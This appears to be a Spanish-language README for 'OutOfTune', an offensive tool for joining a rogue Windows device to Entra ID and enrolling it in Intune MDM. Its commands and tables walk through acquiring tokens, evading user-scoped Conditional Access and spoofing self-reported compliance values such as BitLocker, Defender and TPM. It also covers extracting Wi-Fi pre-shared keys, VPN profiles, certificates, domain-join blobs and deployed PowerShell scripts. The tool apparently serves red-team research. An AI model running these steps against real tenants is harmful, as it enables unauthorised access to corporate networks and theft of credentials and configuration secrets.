
Herramienta de registro de dispositivos maliciosos para Entra ID e Intune MDM. Automatiza la unión de dispositivos, la adquisición de tokens, el registro en MDM y la comprobación de OMA-DM para extraer políticas, credenciales Wi-Fi, scripts y aplicaciones mientras evita el acceso condicional.
Inspirado por el Pytune original, OutOfTune registra un dispositivo rogue en Entra ID, lo inscribe en Intune MDM y verifica el estado de cumplimiento resultante.
Solo es compatible con dispositivos Windows, ya que ese era mi objetivo principal; posiblemente agregue otros en el futuro.
Blog complementario:
pip install -r requirements.txt
La cadena se ejecuta en fases, cada una basándose en el estado guardado en chain_state.json.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (credenciales conocidas):
python OutOfTune.py drs-token -u [email protected] -p Password1!
Token pre-obtenido:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Genera <NOMBREDISPOSITIVO>.pfx - el certificado del dispositivo. La contraseña es password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Se autentica en AAD como el objeto del dispositivo (no como un usuario). Evita las políticas de CA con ámbito de usuario.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Ejecuta el descubrimiento SOAP contra el punto final MDM, luego envía una solicitud de inscripción WS-Trust PKCS10. Genera <NOMBREDISPOSITIVO>_mdm.pfx.
Use --profile para suplantar los atributos de hardware/SO del dispositivo enviados a Intune (consulte Perfiles de dispositivo).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Ejecuta el bucle OMA-DM SyncML contra r.manage.microsoft.com. Intune enviará perfiles de configuración, asignaciones de aplicaciones y cualquier otra política dirigida al dispositivo. Una vez completado el bucle, la inteligencia se extrae y muestra automáticamente.
Si se proporciona -r, el token de actualización se intercambia por un token de acceso de manage.microsoft.com y se envía como Authorization: Bearer en cada solicitud SyncML. Intune lee el UPN de este token y lo establece como el usuario principal del dispositivo, lo que hace que las políticas de cumplimiento con ámbito de usuario se vinculen. Solo necesita ejecutarse una vez con -r para que se asigne un usuario; todos los checkins posteriores pueden ejecutarse sin un token de actualización.
Sin -r, el dispositivo no tendrá usuario principal.
Después de este checkin inicial, si no vuelve a realizar el checkin durante un período prolongado (generalmente de 5 a 7 días), el dispositivo podría quedar fuera de cumplimiento debido a la política predeterminada "Is Active". Dependiendo de la configuración de Intune, el dispositivo puede entrar en un período de gracia antes de marcarse como no conforme. Si esto ocurre, vuelva a ejecutar mdm-checkin. Si anteriormente usó un token de actualización para asignar un usuario principal, no es necesario enviarlo nuevamente, ya que el usuario principal ahora está almacenado en el backend de Intune.
Vuelva a analizar las rondas XML sin procesar guardadas con --save-syncml sin ejecutar un checkin en vivo.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
Genera un PRT desde el certificado del dispositivo, lo intercambia por un token IWService y consulta IWService/Devices para obtener el estado de cumplimiento del dispositivo y las reglas no conformes.
Use -r con un token de actualización de sesión MFA si el CA del inquilino requiere MFA para el recurso de inscripción.
Obtiene aplicaciones Win32 y scripts de PowerShell asignados al dispositivo a través de IME SideCarGateway. Usa solo el certificado de cliente MDM; no se requiere token de usuario.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1apps/<AppName>/Obtiene scripts de corrección proactiva (pares de detección + corrección) asignados al dispositivo.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Cada política se guarda en remediations/<PolicyId>/ que contiene:
detection.ps1 — el script de detecciónremediation.ps1 — el script de correcciónparams.json — ID de la política y cualquier parámetro del scriptSi la eliminación del dispositivo de Intune falla, elimínelo de Entra. Luego caerá en un período de gracia dentro de Intune y se eliminará automáticamente en una fecha posterior.
Eliminar el dispositivo de Intune:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Eliminar el objeto del dispositivo de Entra ID:
python OutOfTune.py entra-delete
python OutOfTune.py status
Los atributos del dispositivo enviados a Intune durante la inscripción y el checkin son completamente falseables a través de un perfil JSON. Esto incluye identificadores de hardware, versión del SO, fabricante y todos los valores de cumplimiento de CSP autoinformados (BitLocker, Firewall, Defender, TPM, Secure Boot).
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # el perfil se guarda en el estado y se reutiliza automáticamente
| Archivo | Dispositivo |
|---|---|
profiles/default.json | Valores predeterminados (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
Todos los valores de DeviceStatus CSP son autoinformados y confiables por Intune sin verificación independiente. Las comprobaciones de cumplimiento atestiguadas por HAS (BitLockerEnabled, SecureBootEnabled a través de HealthAttestation CSP) requieren un TPM real y no se pueden falsear de esta manera.
--debug registro detallado de HTTP + tokens
--proxy <url> enrutar tráfico a través de un proxy (p. ej., http://127.0.0.1:8080)
Estos van antes del comando:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
Si tiene certificados de una ejecución anterior o desea usar archivos PFX específicos:
python OutOfTune.py device-token --cert ruta/al/dispositivo.pfx
python OutOfTune.py mdm-enroll --cert ruta/al/dispositivo.pfx
python OutOfTune.py mdm-checkin --cert ruta/al/mdm.pfx
python OutOfTune.py check --cert ruta/al/dispositivo.pfx
python OutOfTune.py download-apps --cert ruta/al/mdm.pfx
python OutOfTune.py get-remediations --cert ruta/al/mdm.pfx
Todas las salidas de fase se guardan en chain_state.json en el directorio de trabajo. Elimínelo para empezar de nuevo. Use status para inspeccionar el estado actual sin ejecutar nada. Si está trabajando con varios dispositivos, asegúrese de que cada uno tenga su propio archivo de estado. El archivo de estado predeterminado se puede cambiar al inicio del script al dispositivo con el que esté tratando. Tenga cuidado con las opciones de sobrescritura de certificados, son principalmente para fines de depuración.
Inmensos créditos para @temp43487580, que creó el Pytune original y cuya investigación original hizo posible esto
| Indicador | Descripción |
|---|
--cert FILE | PFX MDM a usar: el nombre del dispositivo se deriva automáticamente del nombre del archivo |
-r RT | Token de actualización de usuario: establece el usuario principal (solo se necesita una vez) |
-O DIR | Guardar artefactos extraídos en DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | Guardar XML SyncML sin procesar por ronda en DIR para volver a analizarlo sin conexión |
-o FILE | Escribir la salida completa de la consola en FILE |
| Categoría | Guardado en | Notas |
|---|
| Perfiles Wi-Fi | wifi/<SSID>.xml + _psk.txt | PSK en texto plano extraído si está presente |
| Perfiles VPN | vpn/<nombre>.xml | ProfileXML completo |
| Cargas de certificados | certs/cert_N.b64 | Blobs PFX cifrados (sin procesar, aún no descifrados) |
| Desafíos SCEP | mostrados | Nombre del modelo de CA, URL del desafío |
| Scripts | scripts/<nombre>.ps1 | Scripts de PowerShell enviados a través de OMA-DM |
| URLs de descarga MSI | mostradas | Enlaces CDN directos para aplicaciones LOB |
| Blob ODJ | odj_blob.b64 + odj_strings.txt | Unión de dominio sin conexión: cadenas legibles extraídas |
| Valores Add | add_values.json | Todos los demás comandos Add (certificados raíz de CA, incorporación de MDE, configuración de políticas) |
| Valores Replace | policy_values.json | Valores de la CSP de políticas establecidos por Intune |
| Campo | CSP | Notas |
|---|
os_version | DevDetail/SwV | Comprobaciones de cumplimiento de versión mínima/máxima del SO |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | Algunas políticas permiten fabricantes específicos |
mac_address | SOAP AdditionalContext/MAC | Todo ceros es un indicador obvio |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64 caracteres hexadecimales |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = cifrado (autoinformado) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = conforme (autoinformado) |
firewall_status | DeviceStatus/Firewall/Status | 0 = activado (autoinformado) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = habilitado (autoinformado, no atestiguado por HAS) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | Sin prueba criptográfica |
defender_enabled | Defender/Health/DefenderEnabled | true = en ejecución |
defender_version | Defender/Health/DefenderVersion | Algunas políticas exigen una versión mínima |